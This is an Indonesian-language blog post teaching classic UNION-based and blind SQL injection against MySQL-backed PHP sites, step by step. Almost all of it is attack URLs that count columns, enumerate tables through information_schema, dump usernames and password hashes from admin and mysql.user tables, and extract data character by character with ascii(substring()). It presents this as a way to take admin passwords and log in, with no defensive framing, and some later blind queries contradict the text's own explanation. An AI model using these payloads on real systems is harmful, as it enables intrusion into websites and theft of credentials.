twitter
    Find out what I'm doing, Follow Me :)

SQL Injection Version 4 Dan 5 + Blind SQL Injection

Pertama : apa itu SQL Injection?? cari aja di uncle google

Bug ini merupakan Bug yang paling umum yang ada pada applikasi web sampai sekarang. Celah keamanan ini mengizinkan attacker untuk mengeksekusi database melalui Url dan mendapatkan access untuk memperoleh informasi penting seperti password admin website :d makanya para admin jangan malas untuk mengurus website.

1. SQL Injection (memanfaatkan error yang terlihat)

2. Blind SQL Injection (Agak Sulit,aku aja juga ga begitu paham.. )

1. SQL Injection (memanfaatkan error yang terlihat/classic SQL Injection)

==Ini merupakan langkah pertama yang harus di lakukan adalah pengecekan apakah site bisa di Attack apa tidak dengan teknik sql injection…

misal kita memiliki web target seperti ini:
Code:
http://www.site.com/news.php?id=9

kita coba site berlubang(kayak jln drumahku aja ckakakak) atau tidak dengan menambah tanda ‘ (petik satu) di akhir url dan hasilnya akan menjadi seperti
Code:
http://www.site.com/news.php?id=9′

jika kita melihat error seperti “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right bla..blu..bli” atau error yang sejenis, itu berarti site bisa kita Attack menggunakan SQL injection…

==tahap kedua yang kta lakukan adalah menebak jumlah kolom

untuk menemukan banyak kolom kita menggunakan command ORDER BY. Bagaimana menggunakan perintah ini??(aku jg g tau lol) kita hanya menambah angkat setelah By sampai kita mendapatkan error.. misalnya
Code:
http://www.site.com/news.php?id=9 order by 1/* <– ga ada error
http://www.site.com/news.php?id=9 order by 2/* <– ga ada error
http://www.site.com/news.php?id=9 order by 3/* <– ga ada error
http://www.site.com/news.php?id=9 order by 4/* <– ternyata error

klo misal nampak errornya maka akan ada tulisan “Unknwon column ‘4′ in ‘order clause’ ” atau yang mirip seperti itu dan lain sebagainya. itu berarti database memiliki 3 kolom karena sewaktu kita mencoba menebak kolom ke 4 ternyata hasilnya error itu tandanya kolom ke 4 tidak ada…

==Mencari data selanjutnya dengan menggunakan UNION (perintah mengabungkan)

Dengan UNION kita menggabungkan perintah yang lainnya dalam satu perintah (seringnya perintah SELECT). Misal
Code:
http://www.site.com/news.php?id=9 union select 1,2,3/*

(kenapa ada 1,2,3 itu karena kita sebelumnya sudah mendapatkan ada 3 kolom hasil dari perintah ORDER BY kalau misal ada 4 kolom ya jadi 1,2,3,4) jika kita melihat salah satu angka dari tiga angka tadi maka itu tandannya perintah UNION bekerja…

==Lanjut tahap selanjutnya pengecekan versi mysql

misal:
Code:
http://www.site.com/news.php?id=9 union all select 1,2,3/*

NB: jika ini tidak bekerja coba ganti ‘/*’ menggunakan ‘–’ (cari di uncle google arti tanda-tanda itu). Misal di layar muncul angka 2, maka kita ganti angka dua itu dengan perintah @@version atau version() jika tidak error maka akan muncul versi dari mysql seperti 4.1.33-log or 5.0.45 atau semacam nya. kalau mendapatkan error seperti “union + illegal mix of collations (IMPLICIT + COERCIBLE) … bla bla bla” berarti kita membutuhkan fungsi convert() misal
Code:
http://www.site.com/news.php?id=9 union all select 1,convert(@@version using latin1),3/*

atau bisa juga dengan menggunakan hex() dan unhex() misal
Code:
http://www.site.com/news.php?id=9 union all select 1,unhex(hex(@@version)),3/*

maka akan tampil versi dari mysql nya..

==Tahap selanjutnya dapatkan nama table sama nama kolomnya

Jika kita mendapatkan versi mysql dibawah versi 5 (4.1.33, 4.1.12..). berarti kita harus menebak sendiri nama tabel sama kolomnya. umumnya nama table seperti ini:user,users,admin,admins,member,members dll…
lalu untuk nama kolom umumnya seperti ini:username,user,usr,user_name,password,pass,passwd,pwd,dll.. misal kita tebak seperti ini untuk nama tablenya…
Code:
http://www.site.com/news.php?id=9 union all select 1,2,3 from admin/*

(kita lihat angka 2 muncul di layar seperti sebelumnya) berarti tabel dengan nama admin memang ada. sekarang kita tinggal tebak nama kolomnya. misal
Code:
http://www.site.com/news.php?id=9 union all select 1,username,3 from admin/*

jika mendapat error atau layar kosong maka coba tebak dengan nama lain. jika berhasil maka di layar akan tampak username,contohnya admin atau superadmin atau lain”… sekarang coba tebak kolom passwordnya misalkan..
Code:
http://www.site.com/news.php?id=9 union all select 1,password,3 from admin/*

kalau error coba nama lain. kalau berhasil maka akan ada password yang tampil di layar baik itu dalam bentuk hash(terenkripsi) atau plain-text(tidak di enkripsi) tergantung dari settingan mysqlnya. contohnya: md5 hash, mysql hash, sha1, dll..
sekarang kita harus merubah query biar terlihat lebih enak di pandang. untuk itu kita membutuhkan fungsi concat() untuk menggabungkan kedua string (username dan password) contoh :
Code:
http://www.site.com/news.php?id=9 union all select 1,concat(username,0×3a,password),3 from admin/*

lihat di contoh itu ada 0×3a, 0×3a dalam hexadesimal memiliki arti tanda titik dua ‘:’. ada juga dengan cara char(58) *angka 58 dalam ASCII* misal
Code:
http://www.site.com/news.php?id=9 union all select 1,concat(username,char(58),password),3 from admin/*

maka kita akan mendapatkan hasil di layar seperti ini username : password
contoh nya ‘admin:admin’ atau ‘admin:somehash‘. kita bisa login menggunakan username dan password tersebut untuk mendapatkan akses dalam aplikasi web tersebut. jika tidak dapat menebak nama tabel name dengan benar, kamu coba gunakan mysql.user(default) contoh
Code:
http://www.site.com/news.php?id=9 union all select 1,concat(user,0×3a,password),3 from mysql.user/*

==MySQL 5

jika kita mendapatkan versi 5 maka kita membutuhkan information_schema untuk mendapatkan nama tabel dan nama kolom. informtion_schema ini menyimpan semua informasi table dan kolomnya. untuk mendapatkan tabelnya kita gunakan table_name dan information_schema.tables. contoh
Code:
http://www.site.com/news.php?id=9 union all select 1,table_name,3 from information_schema.tables/*

disini kita coba mengganti angka 2 dengan table_name untuk mendapatkan tabel pertama dari information_schema.tables yang akan di tampilkan dilayar. sekarang kita butuh menambah LIMIT di akhir query untuk menampilkan satu persatu semua database.contoh
Code:
http://www.site.com/news.php?id=9 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

disini saya menggunakan 0,1 (dapatkan 1 output dimulai dari yang paling awal ‘0th’). untuk melihat tabel kedua kita ganti limit 0,1 jadi limit 1,1 contoh
Code:
http://www.site.com/news.php?id=9 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

maka akan muncul di layar table kedua dari database. tuk yang ketiga kita ganti lagi menjadi limit 2,1 contoh
Code:
http://www.site.com/news.php?id=9 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

trus di tambah satu-satu sampe dapatkan tabel yang di mau.contohnya db_admin,poll_user, auth, auth_user dll.. untuk mendapatkan nama kolom menggunakan metode yang sama. tapi bedanya untuk kolom kita menggunakan colomn_name dan information_schema.colomns. Metode yang digunakan sama seperti diatas contoh
Code:
http://www.site.com/news.php?id=9 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

kolom pertama akan tampil. dan untuk yang kedua (kita ganti limit 0,1 menjadi limit 1,1) contoh
Code:
http://www.site.com/news.php?id=9 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

maka akan tampil kolom yang kedua, lakukan terus penambahan pada limit tadi hingga kita dapatkan kolom yang kita mau seperti username,user,login,password,pass,passwd,dll..
jika kamu ingin menampilkan nama kolom pada tabel tertentu bisa gunakan query ini. misal kita sudah menemukan table dengan nama ‘users‘ (tanpa tanda petik) contoh
Code:
http://www.site.com/news.php?id=9 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*

maka kita akan mendapatkan nama kolom pertama pada table users. Gunakan LIMIT untuk menampilkan satu persatu semua nama kolom dalam tabel user.
(query tidak bisa dikarenakan jika magic quotes dalam keadaan ON). misal kita sudah menemukan kolom user,pass,dan email. untuk menyelesaikannya kita bisa tampilkan secara bersamaan dengan menggunakan fungsi concat(), contoh
Code:
http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,pass,0×3a,email) from users/*

maka kita akan mendapatkan user : pass : email from table users.
contoh: admin:hash:whatever@blabla.com.. finish untuk bagian pertama, sekarang kita masuk ke bagian kedua yang agak sulit

2 Blind SQL Injection(agak sulit)

Blind SQL Injection sedikit lebih rumit dari pada classic injection tapi ini dapat terselesaikan. banyak sekali tutorial sql injection yang sangat bagus dari xprog, itu tidak buruk untuk coba membacanya.kita masuk ke tutorial.
misal kita memiliki target
Code:
http://www.site.com/news.php?id=9
ketika kita mengaksesnya maka akan artikel-artikel di halaman tersebut,gambar atau yang lainnya.. kita coba untuk test site ini dengan serangan blind sql injection.
Code:
http://www.site.com/news.php?id=9 and 1=1 <– ini akan selalu menghasilkan nilai TRUE.

dan halaman akan menampilkan artikel secara normal. sekarang coba test seperti
Code:
http://www.site.com/news.php?id=9 and 1=2 <– ini akan menghasilkan nilai FALSE

jika beberapa text, gambar atau beberpa isi hilang maka site tersebut vulrnable untuk blind sql injecjtion.

==Dapatkan versi MySQL

untuk mendapatkan versi MySQL kita gunakan substring.. contoh
Code:
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

maka ini akan mengembalikan nilai TRUE jika versi mysql adalah 4. ganti 4 dengan 5, dan jika query mengembalikan nilai true saat telah diganti dengan 5 maka versi mysql adalah 5 contoh
Code:
http://www.site.com/news.php?id=9 and substring(@@version,1,1)=5

==Test jika subselect berkerja

ketika SELECT tidak bisa berkerja maka kita gunakan subselect contoh
Code:
http://www.site.com/news.php?id=9 and (select 1)=1

jika halaman tampil secara normal itu berarti subselect berkerja.kita dapat melihat bahwa kita bisa akses ke mysql.users contoh
Code:
http://www.site.com/news.php?id=9 and (select 1 from mysql.user limit 0,1)=1

jika halaman ditampilkan normal maka kita punya akses ke mysql.user dan seletah itu kita bisa mengeluarkan beberapa password menggunakan fungsi load_file() dan OUTFILE

==Cek nama table dan nama kolom

bagian ini adalah bagian dimana tebak menebak menjadi teman baik contoh
Code:
http://www.site.com/news.php?id=9 and (select 1 from users limit 0,1)=1

(dengan limit 0,1 query kita disini mengembalikan 1 baris dari data, karena subselect hanya mengembalikan 1 baris, ini sangat penting) lalu jika halaman ini berjalan normal tanpa ada bagian dari isi yang hilang, maka table dengan nama user ada. jika kamu mendapatkan FALSE(ada bagian artikel yang hilang), rubah saja nama table sampai kamu menebak dengan benar. katakan saja kita sudah menemukan bahwa tablenya bernama users, sekarang yang kita butuhkan adalah nama kolom. sama seperti tabel name. kita mulai menebak. seperti yang saya bilang sebelumnya coba menebak dengan nama-nama yang umum untuk kolom. contoh
Code:
http://www.site.com/news.php?id=9 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

jika halaman tampil normal maka kita tahu bahwa nama kolomnya adalah password (jika salah maka coba dengan nama umum atau coba menebak saja) disini kita menggabungkan angka satu dengan nama kolom password lalu substring akan mengembalikan karakter pertama (,1,1)

==Mengambil data dari database

kita temukan table users dengan kolom username dan password selanjutnya kita akan mengambil karakter-karakter dari sana.
Code:
http://www.site.com/news.php?id=9 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>80

ini adalah pengambilan karakter pertama dari user pertama dalam table users. substring disini akan mengembalikan karakter pertama dan panjangnya 1 karakter. ascii() mengconvert 1 karakter itu ke dalam nilai ASCII dan membandinnya dengan menggunakan simbol lebih besar. jadi jika karakter ascii lebih besar dari 80,maka halaman akan menampilkan artikel secara normal. ini berarti bernilai TRUE maka lakukan hingga mendapat nilai FALSE. contoh
Code:
http://www.site.com/news.php?id=9 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>95

kita masih mendapat nilai TRUE, tetap naikan terus.
Code:
http://www.site.com/news.php?id=9 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>98

TRUE lagi,tambah lagi.
Code:
http://www.site.com/news.php?id=9 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99

FALSE!!!
jadi karakter pertama dalam username adalah char(99). menggunakan converter ascii kita tau bahwa char(99) adalah huruf ‘c‘.
sekarang kita cek karakter ke dua.
Code:
http://www.site.com/news.php?id=9 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>99

Note kita saya ganti ,1,1 menjadi ,2,1 untuk mendapatkan karakter ke 2. (sekarang dia akan mengembalikan karakter ke dua dan 1 karakter panjangnya)
Code:
http://www.site.com/news.php?id=9 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99

TRUE,halaman masih normal.tambah lagi.
Code:
http://www.site.com/news.php?id=9 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>107

FALSE, kurangi angkanya.
Code:
http://www.site.com/news.php?id=9 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>104

TRUE, tambah lagi.
Code:
http://www.site.com/news.php?id=9 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>105

FALSE!!!

Sekarang kita tahu bahwa karakter ke dua adalah char(105) dan itu adalah ‘i’. kita punya ‘ci’ jadi untuk lebih jauhnya lagi maka tetaplah menambah sampai akhir.(ketika >0 nilai nya FALSE maka kita tau kita sudah di akhir). ada banyak tool untuk Blind SQL Injection, saya pikir sqlmap yang terbaik, tapi saya melakukan dengan manual. karena itu akan menjadikan mu lebih lihai dalam SQL INJECTION.

Sekian dari saya, .. Selamat mempelajari dan mencobanya semoga bermanfaat..

ANTI NATO (No Action Talk Only)

gatzscream@gmail.com
itonkxx@gmail.com

Wassalam.

0 comments: